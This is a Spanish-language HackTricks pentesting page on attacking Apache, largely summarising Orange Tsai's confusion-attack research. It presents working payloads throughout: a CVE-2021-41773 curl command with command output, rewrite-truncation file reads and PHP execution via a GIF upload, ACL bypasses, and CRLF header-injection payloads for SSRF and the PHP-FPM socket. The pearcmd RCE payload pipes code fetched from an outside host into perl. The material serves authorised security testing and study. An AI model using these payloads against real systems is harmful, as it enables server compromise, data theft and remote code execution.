Apache
tip
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Extensiones PHP ejecutables
Verifique qué extensiones está ejecutando el servidor Apache. Para buscarlas, puede ejecutar:
grep -R -B1 "httpd-php" /etc/apache2
También, algunos lugares donde puedes encontrar esta configuración son:
/etc/apache2/mods-available/php5.conf
/etc/apache2/mods-enabled/php5.conf
/etc/apache2/mods-available/php7.3.conf
/etc/apache2/mods-enabled/php7.3.conf
CVE-2021-41773
curl http://172.18.0.15/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; id; uname'
uid=1(daemon) gid=1(daemon) groups=1(daemon)
Linux
Confusion Attack
Estos tipos de ataques han sido introducidos y documentados por Orange en esta publicación de blog y lo siguiente es un resumen. El ataque de "confusión" básicamente abusa de cómo los decenas de módulos que trabajan juntos creando un Apache no funcionan perfectamente sincronizados y hacer que algunos de ellos modifiquen algunos datos inesperados puede causar una vulnerabilidad en un módulo posterior.
Filename Confusion
Truncation
El mod_rewrite
recortará el contenido de r->filename
después del carácter ?
(modules/mappers/mod_rewrite.c#L4141). Esto no es totalmente incorrecto ya que la mayoría de los módulos tratarán r->filename
como una URL. Pero en otras ocasiones esto se tratará como una ruta de archivo, lo que causaría un problema.
- Path Truncation
Es posible abusar de mod_rewrite
como en el siguiente ejemplo de regla para acceder a otros archivos dentro del sistema de archivos, eliminando la última parte de la ruta esperada simplemente añadiendo un ?
:
RewriteEngine On
RewriteRule "^/user/(.+)$" "/var/user/$1/profile.yml"
# Expected
curl http://server/user/orange
# the output of file `/var/user/orange/profile.yml`
# Attack
curl http://server/user/orange%2Fsecret.yml%3F
# the output of file `/var/user/orange/secret.yml`
- Asignación de RewriteFlag Engañosa
En la siguiente regla de reescritura, siempre que la URL termine en .php, se tratará y ejecutará como php. Por lo tanto, es posible enviar una URL que termine en .php después del carácter ?
mientras se carga en la ruta un tipo diferente de archivo (como una imagen) con código php malicioso dentro de él:
RewriteEngine On
RewriteRule ^(.+\.php)$ $1 [H=application/x-httpd-php]
# Attacker uploads a gif file with some php code
curl http://server/upload/1.gif
# GIF89a <?=`id`;>
# Make the server execute the php code
curl http://server/upload/1.gif%3fooo.php
# GIF89a uid=33(www-data) gid=33(www-data) groups=33(www-data)
Bypass de ACL
Es posible acceder a archivos a los que el usuario no debería poder acceder, incluso si el acceso debería ser denegado con configuraciones como:
<Files "admin.php">
AuthType Basic
AuthName "Admin Panel"
AuthUserFile "/etc/apache2/.htpasswd"
Require valid-user
</Files>
Esto se debe a que, por defecto, PHP-FPM recibirá URLs que terminan en .php
, como http://server/admin.php%3Fooo.php
y porque PHP-FPM eliminará cualquier cosa después del carácter ?
, la URL anterior permitirá cargar /admin.php
incluso si la regla anterior lo prohibía.
Confusión de DocumentRoot
DocumentRoot /var/www/html
RewriteRule ^/html/(.*)$ /$1.html
Un dato curioso sobre Apache es que la reescritura anterior intentará acceder al archivo tanto desde documentRoot como desde root. Así que, una solicitud a https://server/abouth.html
verificará el archivo en /var/www/html/about.html
y /about.html
en el sistema de archivos. Lo que básicamente se puede abusar para acceder a archivos en el sistema de archivos.
Divulgación de Código Fuente del Lado del Servidor
- Divulgar Código Fuente CGI
Agregar un %3F al final es suficiente para filtrar el código fuente de un módulo cgi:
curl http://server/cgi-bin/download.cgi
# the processed result from download.cgi
curl http://server/html/usr/lib/cgi-bin/download.cgi%3F
# #!/usr/bin/perl
# use CGI;
# ...
# # the source code of download.cgi
- Divulgar el código fuente de PHP
Si un servidor tiene diferentes dominios, siendo uno de ellos un dominio estático, esto puede ser abusado para recorrer el sistema de archivos y filtrar código php:
# Leak the config.php file of the www.local domain from the static.local domain
curl http://www.local/var/www.local/config.php%3F -H "Host: static.local"
# the source code of config.php
Manipulación de Gadgets Locales
El principal problema con el ataque anterior es que, por defecto, la mayoría del acceso al sistema de archivos será denegado, como en la plantilla de configuración del Apache HTTP Server:
<Directory />
AllowOverride None
Require all denied
</Directory>
Sin embargo, los sistemas operativos Debian/Ubuntu permiten por defecto /usr/share
:
<Directory /usr/share>
AllowOverride None
Require all granted
</Directory>
Por lo tanto, sería posible abusar de archivos ubicados dentro de /usr/share
en estas distribuciones.
Gadget Local para Divulgación de Información
- Apache HTTP Server con websocketd puede exponer el script dump-env.php en /usr/share/doc/websocketd/examples/php/, lo que puede filtrar variables de entorno sensibles.
- Los servidores con Nginx o Jetty podrían exponer información sensible de aplicaciones web (por ejemplo, web.xml) a través de sus raíces web predeterminadas ubicadas bajo /usr/share:
- /usr/share/nginx/html/
- /usr/share/jetty9/etc/
- /usr/share/jetty9/webapps/
Gadget Local para XSS
- En Ubuntu Desktop con LibreOffice instalado, explotar la función de cambio de idioma de los archivos de ayuda puede llevar a Cross-Site Scripting (XSS). Manipular la URL en /usr/share/libreoffice/help/help.html puede redirigir a páginas maliciosas o versiones anteriores a través de unsafe RewriteRule.
Gadget Local para LFI
- Si PHP o ciertos paquetes de front-end como JpGraph o jQuery-jFeed están instalados, sus archivos pueden ser explotados para leer archivos sensibles como /etc/passwd:
- /usr/share/doc/libphp-jpgraph-examples/examples/show-source.php
- /usr/share/javascript/jquery-jfeed/proxy.php
- /usr/share/moodle/mod/assignment/type/wims/getcsv.php
Gadget Local para SSRF
- Utilizando MagpieRSS's magpie_debug.php en /usr/share/php/magpierss/scripts/magpie_debug.php, se puede crear fácilmente una vulnerabilidad SSRF, proporcionando una puerta de entrada a más exploits.
Gadget Local para RCE
- Las oportunidades para Remote Code Execution (RCE) son vastas, con instalaciones vulnerables como un PHPUnit desactualizado o phpLiteAdmin. Estos pueden ser explotados para ejecutar código arbitrario, mostrando el extenso potencial de la manipulación de gadgets locales.
Jailbreak desde Gadgets Locales
También es posible hacer jailbreak desde las carpetas permitidas siguiendo enlaces simbólicos generados por el software instalado en esas carpetas, como:
- Cacti Log:
/usr/share/cacti/site/
->/var/log/cacti/
- Solr Data:
/usr/share/solr/data/
->/var/lib/solr/data
- Solr Config:
/usr/share/solr/conf/
->/etc/solr/conf/
- MediaWiki Config:
/usr/share/mediawiki/config/
->/var/lib/mediawiki/config/
- SimpleSAMLphp Config:
/usr/share/simplesamlphp/config/
->/etc/simplesamlphp/
Además, abusando de enlaces simbólicos fue posible obtener RCE en Redmine.
Confusión de Manejadores
Este ataque explota la superposición en la funcionalidad entre las directivas AddHandler
y AddType
, que ambas pueden ser utilizadas para habilitar el procesamiento de PHP. Originalmente, estas directivas afectaban diferentes campos (r->handler
y r->content_type
respectivamente) en la estructura interna del servidor. Sin embargo, debido a código legado, Apache maneja estas directivas de manera intercambiable bajo ciertas condiciones, convirtiendo r->content_type
en r->handler
si el primero está establecido y el segundo no.
Además, en el Apache HTTP Server (server/config.c#L420
), si r->handler
está vacío antes de ejecutar ap_run_handler()
, el servidor utiliza r->content_type
como el manejador, haciendo que AddType
y AddHandler
sean idénticos en efecto.
Sobrescribir Manejador para Divulgar Código Fuente PHP
En esta charla, se presentó una vulnerabilidad donde un Content-Length
incorrecto enviado por un cliente puede hacer que Apache devuelva el código fuente PHP. Esto se debió a un problema de manejo de errores con ModSecurity y el Apache Portable Runtime (APR), donde una doble respuesta lleva a sobrescribir r->content_type
a text/html
.
Debido a que ModSecurity no maneja correctamente los valores de retorno, devolvería el código PHP y no lo interpretaría.
Sobrescribir Manejador para XXXX
TODO: Orange no ha divulgado esta vulnerabilidad aún
Invocar Manejadores Arbitrarios
Si un atacante puede controlar el encabezado Content-Type
en una respuesta del servidor, podrá invocar manejadores de módulos arbitrarios. Sin embargo, en el momento en que el atacante controla esto, la mayor parte del proceso de la solicitud ya se habrá realizado. Sin embargo, es posible reiniciar el proceso de solicitud abusando del encabezado Location
porque si el Status
devuelto es 200 y el encabezado Location
comienza con una /
, la respuesta se trata como una Redirección del Lado del Servidor y debe ser procesada.
De acuerdo con RFC 3875 (especificación sobre CGI) en Sección 6.2.2 se define un comportamiento de Respuesta de Redirección Local:
El script CGI puede devolver una ruta URI y una cadena de consulta (‘local-pathquery’) para un recurso local en un campo de encabezado Location. Esto indica al servidor que debe reprocesar la solicitud utilizando la ruta especificada.
Por lo tanto, para realizar este ataque se necesita una de las siguientes vulnerabilidades:
- Inyección CRLF en los encabezados de respuesta CGI
- SSRF con control completo de los encabezados de respuesta
Manejador Arbitrario para Divulgación de Información
Por ejemplo, /server-status
debería ser accesible solo localmente:
<Location /server-status>
SetHandler server-status
Require local
</Location>
Es posible acceder configurando el Content-Type
a server-status
y el encabezado Location comenzando con /
http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo %0d%0a
Content-Type:server-status %0d%0a
%0d%0a
Manejador Arbitrario a SSRF Completo
Redirigiendo a mod_proxy
para acceder a cualquier protocolo en cualquier URL:
http://server/cgi-bin/redir.cgi?r=http://%0d%0a
Location:/ooo %0d%0a
Content-Type:proxy:
http://example.com/%3F
%0d%0a
%0d%0a
Sin embargo, el encabezado X-Forwarded-For
se agrega impidiendo el acceso a los puntos finales de metadatos en la nube.
Controlador Arbitrario para Acceder al Socket de Dominio Unix Local
Acceda al Socket de Dominio Unix local de PHP-FPM para ejecutar un backdoor PHP ubicado en /tmp/
:
http://server/cgi-bin/redir.cgi?r=http://%0d%0a
Location:/ooo %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/tmp/ooo.php %0d%0a
%0d%0a
Manejador Arbitrario para RCE
La imagen oficial PHP Docker incluye PEAR (Pearcmd.php
), una herramienta de gestión de paquetes PHP en línea de comandos, que puede ser abusada para obtener RCE:
http://server/cgi-bin/redir.cgi?r=http://%0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}
orange.tw/x|perl
) %2b alltests.php %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
%0d%0a
Revisa Docker PHP LFI Summary, escrito por Phith0n para los detalles de esta técnica.
Referencias
tip
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.